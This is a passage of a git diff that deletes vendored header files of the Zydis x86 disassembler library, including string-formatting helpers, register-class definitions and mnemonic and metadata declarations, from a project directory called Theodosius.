---------------------------------------------------------------------------------------------- */ - -#pragma pack(pop) - -#ifdef ZYAN_MSVC -# pragma warning(pop) -#endif - -/* ============================================================================================== */ -/* Functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Instruction definition */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the instruction-definition with the given `encoding` and `id`. - * - * @param encoding The instruction-encoding. - * @param id The definition-id. - * @param definition A pointer to the variable that receives a pointer to the instruction- - * definition. - */ -ZYDIS_NO_EXPORT void ZydisGetInstructionDefinition(ZydisInstructionEncoding encoding, - ZyanU16 id, const ZydisInstructionDefinition** definition); - -/* ---------------------------------------------------------------------------------------------- */ -/* Operand definition */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYDIS_MINIMAL_MODE -/** - * Returns the the operand-definitions for the given instruction-`definition`. - * - * @param definition A pointer to the instruction-definition. - * @param operand A pointer to the variable that receives a pointer to the first operand- - * definition of the instruction. - * - * @return The number of operands for the given instruction-definition. - */ -ZYDIS_NO_EXPORT ZyanU8 ZydisGetOperandDefinitions(const ZydisInstructionDefinition* definition, - const ZydisOperandDefinition** operand); -#endif - -/* ---------------------------------------------------------------------------------------------- */ -/* Element info */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYDIS_MINIMAL_MODE -/** - * Returns the actual type and size of an internal element-type. - * - * @param element The internal element type. - * @param type The actual element type. - * @param size The element size. - */ -ZYDIS_NO_EXPORT void ZydisGetElementInfo(ZydisInternalElementType element, ZydisElementType* type, - ZydisElementSize* size); -#endif - -/* ---------------------------------------------------------------------------------------------- */ -/* Accessed CPU flags */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYDIS_MINIMAL_MODE -/** - * Returns the the operand-definitions for the given instruction-`definition`. - * - * @param definition A pointer to the instruction-definition. - * @param flags A pointer to the variable that receives the `ZydisAccessedFlags` struct. - * - * @return `ZYAN_TRUE`, if the instruction accesses any flags, or `ZYAN_FALSE`, if not. - */ -ZYDIS_NO_EXPORT ZyanBool ZydisGetAccessedFlags(const ZydisInstructionDefinition* definition, - const ZydisAccessedFlags** flags); -#endif - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_INTERNAL_SHAREDDATA_H */ diff --git a/src/Theodosius/Zydis/Internal/String.h b/src/Theodosius/Zydis/Internal/String.h deleted file mode 100644 index 18ed812..0000000 --- a/src/Theodosius/Zydis/Internal/String.h +++ /dev/null @@ -1,464 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd, Joel Hoener - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Provides some internal, more performant, but unsafe helper functions for the `ZyanString` - * data-type. - * - * Most of these functions are very similar to the ones in `Zycore/String.h`, but inlined and - * without optional overhead like parameter-validation checks, etc ... - * - * The `ZyanString` data-type is able to dynamically allocate memory on the heap, but as `Zydis` is - * designed to be a non-'malloc'ing library, all functions in this file assume that the instances - * they are operating on are created with a user-defined static-buffer. - */ - -#ifndef ZYDIS_INTERNAL_STRING_H -#define ZYDIS_INTERNAL_STRING_H - -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Letter Case */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisLetterCase` enum. - */ -typedef enum ZydisLetterCase_ -{ - /** - * Uses the given text "as is". - */ - ZYDIS_LETTER_CASE_DEFAULT, - /** - * Converts the given text to lowercase letters. - */ - ZYDIS_LETTER_CASE_LOWER, - /** - * Converts the given text to uppercase letters. - */ - ZYDIS_LETTER_CASE_UPPER, - - /** - * Maximum value of this enum. - */ - ZYDIS_LETTER_CASE_MAX_VALUE = ZYDIS_LETTER_CASE_UPPER, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_LETTER_CASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_LETTER_CASE_MAX_VALUE) -} ZydisLetterCase; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Internal macros */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Checks for a terminating '\0' character at the end of the string data. - */ -#define ZYDIS_STRING_ASSERT_NULLTERMINATION(string) \ - ZYAN_ASSERT(*(char*)((ZyanU8*)(string)->vector.data + (string)->vector.size - 1) == '\0'); - -/** - * Writes a terminating '\0' character at the end of the string data. - */ -#define ZYDIS_STRING_NULLTERMINATE(string) \ - *(char*)((ZyanU8*)(string)->vector.data + (string)->vector.size - 1) = '\0'; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Internal Functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Appending */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Appends the content of the source string to the end of the destination string. - * - * @param destination The destination string. - * @param source The source string. - * - * @return A zyan status code. - */ -ZYAN_INLINE ZyanStatus ZydisStringAppend(ZyanString* destination, const ZyanStringView* source) -{ - ZYAN_ASSERT(destination && source); - ZYAN_ASSERT(!destination->vector.allocator); - ZYAN_ASSERT(destination->vector.size && source->string.vector.size); - - if (destination->vector.size + source->string.vector.size - 1 > destination->vector.capacity) - { - return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; - } - - ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, - source->string.vector.data, source->string.vector.size - 1); - - destination->vector.size += source->string.vector.size - 1; - ZYDIS_STRING_NULLTERMINATE(destination); - - return ZYAN_STATUS_SUCCESS; -} - -/** - * Appends the content of the source string to the end of the destination - * string, converting the characters to the specified letter-case. - * - * @param destination The destination string. - * @param source The source string. - * @param letter_case The desired letter-case. - * - * @return A zyan status code. - */ -ZYAN_INLINE ZyanStatus ZydisStringAppendCase(ZyanString* destination, const ZyanStringView* source, - ZydisLetterCase letter_case) -{ - ZYAN_ASSERT(destination && source); - ZYAN_ASSERT(!destination->vector.allocator); - ZYAN_ASSERT(destination->vector.size && source->string.vector.size); - - if (destination->vector.size + source->string.vector.size - 1 > destination->vector.capacity) - { - return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; - } - - ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, - source->string.vector.data, source->string.vector.size - 1); - - switch (letter_case) - { - case ZYDIS_LETTER_CASE_DEFAULT: - break; - case ZYDIS_LETTER_CASE_LOWER: - { - const ZyanUSize index = destination->vector.size - 1; - const ZyanUSize count = source->string.vector.size - 1; - char* s = (char*)destination->vector.data + index; - for (ZyanUSize i = index; i < index + count; ++i) - { - const char c = *s; - if ((c >= 'A') && (c <= 'Z')) - { - *s = c | 32; - } - ++s; - } - break; - } - case ZYDIS_LETTER_CASE_UPPER: - { - const ZyanUSize index = destination->vector.size - 1; - const ZyanUSize count = source->string.vector.size - 1; - char* s = (char*)destination->vector.data + index; - for (ZyanUSize i = index; i < index + count; ++i) - { - const char c = *s; - if ((c >= 'a') && (c <= 'z')) - { - *s = c & ~32; - } - ++s; - } - break; - } - default: - ZYAN_UNREACHABLE; - } - - destination->vector.size += source->string.vector.size - 1; - ZYDIS_STRING_NULLTERMINATE(destination); - - return ZYAN_STATUS_SUCCESS; -} - -/** - * Appends the content of the source short-string to the end of the destination string. - * - * @param destination The destination string. - * @param source The source string. - * - * @return A zyan status code. - */ -ZYAN_INLINE ZyanStatus ZydisStringAppendShort(ZyanString* destination, - const ZydisShortString* source) -{ - ZYAN_ASSERT(destination && source); - ZYAN_ASSERT(!destination->vector.allocator); - ZYAN_ASSERT(destination->vector.size && source->size); - - if (destination->vector.size + source->size > destination->vector.capacity) - { - return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; - } - - ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, source->data, - (ZyanUSize)source->size + 1); - - destination->vector.size += source->size; - ZYDIS_STRING_ASSERT_NULLTERMINATION(destination); - - return ZYAN_STATUS_SUCCESS; -} - -/** - * Appends the content of the source short-string to the end of the destination string, - * converting the characters to the specified letter-case. - * - * @param destination The destination string. - * @param source The source string. - * @param letter_case The desired letter-case. - * - * @return A zyan status code. - */ -ZYAN_INLINE ZyanStatus ZydisStringAppendShortCase(ZyanString* destination, - const ZydisShortString* source, ZydisLetterCase letter_case) -{ - ZYAN_ASSERT(destination && source); - ZYAN_ASSERT(!destination->vector.allocator); - ZYAN_ASSERT(destination->vector.size && source->size); - - if (destination->vector.size + source->size > destination->vector.capacity) - { - return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; - } - - ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, source->data, - (ZyanUSize)source->size + 1); - - switch (letter_case) - { - case ZYDIS_LETTER_CASE_DEFAULT: - break; - case ZYDIS_LETTER_CASE_LOWER: - { - const ZyanUSize index = destination->vector.size - 1; - const ZyanUSize count = source->size; - char* s = (char*)destination->vector.data + index; - for (ZyanUSize i = index; i < index + count; ++i) - { - const char c = *s; - if ((c >= 'A') && (c <= 'Z')) - { - *s = c | 32; - } - ++s; - } - break; - } - case ZYDIS_LETTER_CASE_UPPER: - { - const ZyanUSize index = destination->vector.size - 1; - const ZyanUSize count = source->size; - char* s = (char*)destination->vector.data + index; - for (ZyanUSize i = index; i < index + count; ++i) - { - const char c = *s; - if ((c >= 'a') && (c <= 'z')) - { - *s = c & ~32; - } - ++s; - } - break; - } - default: - ZYAN_UNREACHABLE; - } - - destination->vector.size += source->size; - ZYDIS_STRING_ASSERT_NULLTERMINATION(destination); - - return ZYAN_STATUS_SUCCESS; -} - -/* ---------------------------------------------------------------------------------------------- */ -/* Formatting */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Formats the given unsigned ordinal `value` to its decimal text-representation and - * appends it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. - * @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZyanStatus ZydisStringAppendDecU(ZyanString* string, ZyanU64 value, ZyanU8 padding_length, - const ZyanStringView* prefix, const ZyanStringView* suffix); - -/** - * Formats the given signed ordinal `value` to its decimal text-representation and - * appends it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. - * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. - * @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYAN_INLINE ZyanStatus ZydisStringAppendDecS(ZyanString* string, ZyanI64 value, - ZyanU8 padding_length, ZyanBool force_sign, const ZyanStringView* prefix, - const ZyanStringView* suffix) -{ - static const ZydisShortString str_add = ZYDIS_MAKE_SHORTSTRING("+"); - static const ZydisShortString str_sub = ZYDIS_MAKE_SHORTSTRING("-"); - - if (value < 0) - { - ZYAN_CHECK(ZydisStringAppendShort(string, &str_sub)); - if (prefix) - { - ZYAN_CHECK(ZydisStringAppend(string, prefix)); - } - return ZydisStringAppendDecU(string, ZyanAbsI64(value), padding_length, - (const ZyanStringView*)ZYAN_NULL, suffix); - } - - if (force_sign) - { - ZYAN_ASSERT(value >= 0); - ZYAN_CHECK(ZydisStringAppendShort(string, &str_add)); - } - return ZydisStringAppendDecU(string, value, padding_length, prefix, suffix); -} - -/** - * Formats the given unsigned ordinal `value` to its hexadecimal text-representation and - * appends it to the `string`. - * - * @param string A pointer to the `ZyanString` instance. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length`. - * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase - * ones ('a'-'f'). - * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. - * @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZyanStatus ZydisStringAppendHexU(ZyanString* string, ZyanU64 value, ZyanU8 padding_length, - ZyanBool uppercase, const ZyanStringView* prefix, const ZyanStringView* suffix); - -/** - * Formats the given signed ordinal `value` to its hexadecimal text-representation and - * appends it to the `string`. - * - * @param string A pointer to the string. - * @param value The value. - * @param padding_length Padds the converted value with leading zeros, if the number of chars is - * less than the `padding_length` (the sign char is ignored). - * @param uppercase Set `ZYAN_TRUE` to print the hexadecimal value in uppercase letters - * instead of lowercase ones. - * @param force_sign Set to `ZYAN_TRUE`, to force printing of the `+` sign for positive - * numbers. - * @param prefix The string to use as prefix or `NULL`, if not needed. - * @param suffix The string to use as suffix or `NULL`, if not needed. - * - * @return `ZYAN_STATUS_SUCCESS`, if the function succeeded, or - * `ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE`, if the size of the buffer was not - * sufficient to append the given `value`. - * - * The string-buffer pointer is increased by the number of chars written, if the call was - * successful. - */ -ZYAN_INLINE ZyanStatus ZydisStringAppendHexS(ZyanString* string, ZyanI64 value, - ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanStringView* prefix, - const ZyanStringView* suffix) -{ - static const ZydisShortString str_add = ZYDIS_MAKE_SHORTSTRING("+"); - static const ZydisShortString str_sub = ZYDIS_MAKE_SHORTSTRING("-"); - - if (value < 0) - { - ZYAN_CHECK(ZydisStringAppendShort(string, &str_sub)); - if (prefix) - { - ZYAN_CHECK(ZydisStringAppend(string, prefix)); - } - return ZydisStringAppendHexU(string, ZyanAbsI64(value), padding_length, uppercase, - (const ZyanStringView*)ZYAN_NULL, suffix); - } - - if (force_sign) - { - ZYAN_ASSERT(value >= 0); - ZYAN_CHECK(ZydisStringAppendShort(string, &str_add)); - } - return ZydisStringAppendHexU(string, value, padding_length, uppercase, prefix, suffix); -} - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif // ZYDIS_INTERNAL_STRING_H diff --git a/src/Theodosius/Zydis/MetaInfo.h b/src/Theodosius/Zydis/MetaInfo.h deleted file mode 100644 index 6867d32..0000000 --- a/src/Theodosius/Zydis/MetaInfo.h +++ /dev/null @@ -1,88 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * @brief - */ - -#ifndef ZYDIS_METAINFO_H -#define ZYDIS_METAINFO_H - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -#include -#include -#include - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - - /** - * Returns the specified instruction category string. - * - * @param category The instruction category. - * - * @return The instruction category string or `ZYAN_NULL`, if an invalid category was passed. - */ -ZYDIS_EXPORT const char* ZydisCategoryGetString(ZydisInstructionCategory category); - -/** - * Returns the specified isa-set string. - * - * @param isa_set The isa-set. - * - * @return The isa-set string or `ZYAN_NULL`, if an invalid isa-set was passed. - */ -ZYDIS_EXPORT const char* ZydisISASetGetString(ZydisISASet isa_set); - -/** - * Returns the specified isa-extension string. - * - * @param isa_ext The isa-extension. - * - * @return The isa-extension string or `ZYAN_NULL`, if an invalid isa-extension was passed. - */ -ZYDIS_EXPORT const char* ZydisISAExtGetString(ZydisISAExt isa_ext); - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_METAINFO_H */ diff --git a/src/Theodosius/Zydis/Mnemonic.h b/src/Theodosius/Zydis/Mnemonic.h deleted file mode 100644 index dd8fec8..0000000 --- a/src/Theodosius/Zydis/Mnemonic.h +++ /dev/null @@ -1,88 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Mnemonic constant definitions and helper functions. - */ - -#ifndef ZYDIS_MNEMONIC_H -#define ZYDIS_MNEMONIC_H - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -#include - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/** - * @addtogroup mnemonic Mnemonic - * Functions for retrieving mnemonic names. - * @{ - */ - -/** - * Returns the specified instruction mnemonic string. - * - * @param mnemonic The mnemonic. - * - * @return The instruction mnemonic string or `ZYAN_NULL`, if an invalid mnemonic was passed. - */ -ZYDIS_EXPORT const char* ZydisMnemonicGetString(ZydisMnemonic mnemonic); - -/** - * Returns the specified instruction mnemonic as `ZydisShortString`. - * - * @param mnemonic The mnemonic. - * - * @return The instruction mnemonic string or `ZYAN_NULL`, if an invalid mnemonic was passed. - * - * The `buffer` of the returned struct is guaranteed to be zero-terminated in this special case. - */ -ZYDIS_EXPORT const ZydisShortString* ZydisMnemonicGetStringWrapped(ZydisMnemonic mnemonic); - -/** - * @} - */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_MNEMONIC_H */ diff --git a/src/Theodosius/Zydis/Register.h b/src/Theodosius/Zydis/Register.h deleted file mode 100644 index 0ff955f..0000000 --- a/src/Theodosius/Zydis/Register.h +++ /dev/null @@ -1,293 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Utility functions and constants for registers. - */ - -#ifndef ZYDIS_REGISTER_H -#define ZYDIS_REGISTER_H - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Registers */ -/* ---------------------------------------------------------------------------------------------- */ - -#include - -/* ---------------------------------------------------------------------------------------------- */ -/* Register classes */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisRegisterClass` enum. - * - * Please note that this enum does not contain a matching entry for all values of the - * `ZydisRegister` enum, but only for those registers where it makes sense to logically group them - * for decoding/encoding purposes. - * - * These are mainly the registers that can be identified by an id within their corresponding - * register-class. The `IP` and `FLAGS` values are exceptions to this rule. - */ -typedef enum ZydisRegisterClass_ -{ - ZYDIS_REGCLASS_INVALID, - /** - * 8-bit general-purpose registers. - */ - ZYDIS_REGCLASS_GPR8, - /** - * 16-bit general-purpose registers. - */ - ZYDIS_REGCLASS_GPR16, - /** - * 32-bit general-purpose registers. - */ - ZYDIS_REGCLASS_GPR32, - /** - * 64-bit general-purpose registers. - */ - ZYDIS_REGCLASS_GPR64, - /** - * Floating point legacy registers. - */ - ZYDIS_REGCLASS_X87, - /** - * Floating point multimedia registers. - */ - ZYDIS_REGCLASS_MMX, - /** - * 128-bit vector registers. - */ - ZYDIS_REGCLASS_XMM, - /** - * 256-bit vector registers. - */ - ZYDIS_REGCLASS_YMM, - /** - * 512-bit vector registers. - */ - ZYDIS_REGCLASS_ZMM, - /** - * Matrix registers. - */ - ZYDIS_REGCLASS_TMM, - /* - * Flags registers. - */ - ZYDIS_REGCLASS_FLAGS, - /** - * Instruction-pointer registers. - */ - ZYDIS_REGCLASS_IP, - /** - * Segment registers. - */ - ZYDIS_REGCLASS_SEGMENT, - /** - * Test registers. - */ - ZYDIS_REGCLASS_TEST, - /** - * Control registers. - */ - ZYDIS_REGCLASS_CONTROL, - /** - * Debug registers. - */ - ZYDIS_REGCLASS_DEBUG, - /** - * Mask registers. - */ - ZYDIS_REGCLASS_MASK, - /** - * Bound registers. - */ - ZYDIS_REGCLASS_BOUND, - - /** - * Maximum value of this enum. - */ - ZYDIS_REGCLASS_MAX_VALUE = ZYDIS_REGCLASS_BOUND, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_REGCLASS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REGCLASS_MAX_VALUE) -} ZydisRegisterClass; - -/* ---------------------------------------------------------------------------------------------- */ -/* Register width */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisRegisterWidth` data-type. - */ -typedef ZyanU16 ZydisRegisterWidth; - -/* ---------------------------------------------------------------------------------------------- */ -/* Register context */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisRegisterContext` struct. - */ -typedef struct ZydisRegisterContext_ -{ - /** - * The values stored in the register context. - */ - ZyanU64 values[ZYDIS_REGISTER_MAX_VALUE + 1]; -} ZydisRegisterContext; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/** - * @addtogroup register Register - * Functions allowing retrieval of information about registers. - * @{ - */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Register */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the register specified by the `register_class` and `id` tuple. - * - * @param register_class The register class. - * @param id The register id. - * - * @return The register specified by the `register_class` and `id` tuple or `ZYDIS_REGISTER_NONE`, - * if an invalid parameter was passed. - */ -ZYDIS_EXPORT ZydisRegister ZydisRegisterEncode(ZydisRegisterClass register_class, ZyanU8 id); - -/** - * Returns the id of the specified register. - * - * @param reg The register. - * - * @return The id of the specified register, or -1 if an invalid parameter was passed. - */ -ZYDIS_EXPORT ZyanI8 ZydisRegisterGetId(ZydisRegister reg); - -/** - * Returns the register-class of the specified register. - * - * @param reg The register. - * - * @return The register-class of the specified register. - */ -ZYDIS_EXPORT ZydisRegisterClass ZydisRegisterGetClass(ZydisRegister reg); - -/** - * Returns the width of the specified register. - * - * @param mode The active machine mode. - * @param reg The register. - * - * @return The width of the specified register, or `ZYDIS_REGISTER_NONE` if the register is - * invalid for the active machine-mode. - */ -ZYDIS_EXPORT ZydisRegisterWidth ZydisRegisterGetWidth(ZydisMachineMode mode, ZydisRegister reg); - -/** - * Returns the largest enclosing register of the given register. - * - * @param mode The active machine mode. - * @param reg The register. - * - * @return The largest enclosing register of the given register, or `ZYDIS_REGISTER_NONE` if the - * register is invalid for the active machine-mode or does not have an enclosing-register. - */ -ZYDIS_EXPORT ZydisRegister ZydisRegisterGetLargestEnclosing(ZydisMachineMode mode, - ZydisRegister reg); - -/** - * Returns the specified register string. - * - * @param reg The register. - * - * @return The register string or `ZYAN_NULL`, if an invalid register was passed. - */ -ZYDIS_EXPORT const char* ZydisRegisterGetString(ZydisRegister reg); - -/** - * Returns the specified register string as `ZydisShortString`. - * - * @param reg The register. - * - * @return The register string or `ZYAN_NULL`, if an invalid register was passed. - * - * The `buffer` of the returned struct is guaranteed to be zero-terminated in this special case. - */ -ZYDIS_EXPORT const ZydisShortString* ZydisRegisterGetStringWrapped(ZydisRegister reg); - -/* ---------------------------------------------------------------------------------------------- */ -/* Register class */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the width of the specified register-class. - * - * @param mode The active machine mode. - * @param register_class The register class. - * - * @return The width of the specified register. - */ -ZYDIS_EXPORT ZydisRegisterWidth ZydisRegisterClassGetWidth(ZydisMachineMode mode, - ZydisRegisterClass register_class); - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * @} - */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif /* ZYDIS_REGISTER_H */ diff --git a/src/Theodosius/Zydis/SharedTypes.h b/src/Theodosius/Zydis/SharedTypes.h deleted file mode 100644 index 82a4121..0000000 --- a/src/Theodosius/Zydis/SharedTypes.h +++ /dev/null @@ -1,480 +0,0 @@ -/*************************************************************************************************** - - Zyan Disassembler Library (Zydis) - - Original Author : Florian Bernd - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Defines decoder/encoder-shared macros and types. - */ - -#ifndef ZYDIS_SHAREDTYPES_H -#define ZYDIS_SHAREDTYPES_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Constants */ -/* ---------------------------------------------------------------------------------------------- */ - -#define ZYDIS_MAX_INSTRUCTION_LENGTH 15 -#define ZYDIS_MAX_OPERAND_COUNT 10 - -/* 